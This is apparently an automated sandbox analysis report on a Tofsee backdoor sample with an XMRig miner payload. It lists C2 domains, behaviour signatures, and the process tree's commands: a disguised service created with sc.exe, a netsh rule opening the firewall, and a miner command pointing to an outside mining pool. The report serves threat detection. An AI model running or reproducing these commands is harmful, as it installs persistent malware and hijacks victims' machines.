Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 15:37

General

  • Target
    file.exe
  • Size 326KB
  • Sample230109-s2fv9aef93
  • SHA256 d692fdda357e2d962d96a1b7ddff0aa8a9e3860597dd8f894473f16588d13ced
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4328
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nrhjkxsm\
      2⤵
        PID:3304
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mgiqmgmf.exe" C:\Windows\SysWOW64\nrhjkxsm\
        2⤵
          PID:716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nrhjkxsm binPath= "C:\Windows\SysWOW64\nrhjkxsm\mgiqmgmf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4928
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nrhjkxsm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nrhjkxsm
          2⤵
          • Launches sc.exe
          PID:3760
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2320
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4328 -s 600
          2⤵
          • Program crash
          PID:3416
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4328 -ip 4328
        1⤵
          PID:5092
        • C:\Windows\SysWOW64\nrhjkxsm\mgiqmgmf.exe
          C:\Windows\SysWOW64\nrhjkxsm\mgiqmgmf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2296
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:5000
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:828
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2296 -s 564
            2⤵
            • Program crash
            PID:4952
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2296 -ip 2296
          1⤵
            PID:1680

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                mgiqmgmf.exe

                • Path C:\Users\Admin\AppData\Local\Temp\mgiqmgmf.exe
                • Size 13.3MB
                • SHA256 35aee94cd29c6917ab36db71b1b75b436f65d43efbc6608085c9e14ab756d767
                • MD5 SHA1 SHA512 SSDEEP

                mgiqmgmf.exe

                • Path C:\Windows\SysWOW64\nrhjkxsm\mgiqmgmf.exe
                • Size 13.3MB
                • SHA256 35aee94cd29c6917ab36db71b1b75b436f65d43efbc6608085c9e14ab756d767
                • MD5 SHA1 SHA512 SSDEEP

                memory/828-178-0x0000000001070000-0x0000000001161000-memory.dmp

                memory/828-173-0x0000000001070000-0x0000000001161000-memory.dmp

                memory/2296-151-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/2296-150-0x00000000005E9000-0x00000000005FE000-memory.dmp

                memory/4328-144-0x00000000021B0000-0x00000000021C3000-memory.dmp

                memory/4328-145-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/4328-132-0x000000000055E000-0x0000000000573000-memory.dmp

                memory/4328-143-0x000000000055E000-0x0000000000573000-memory.dmp

                memory/4328-134-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/4328-133-0x00000000021B0000-0x00000000021C3000-memory.dmp

                memory/5000-154-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/5000-157-0x0000000002510000-0x0000000002516000-memory.dmp

                memory/5000-160-0x0000000002520000-0x0000000002530000-memory.dmp

                memory/5000-163-0x00000000025F0000-0x00000000025F5000-memory.dmp

                memory/5000-166-0x0000000007D40000-0x000000000814B000-memory.dmp

                memory/5000-169-0x00000000033D0000-0x00000000033D7000-memory.dmp

                memory/5000-153-0x0000000000FA0000-0x0000000000FB5000-memory.dmp

                memory/5000-152-0x0000000000FA0000-0x0000000000FB5000-memory.dmp

                memory/5000-147-0x0000000000FA0000-0x0000000000FB5000-memory.dmp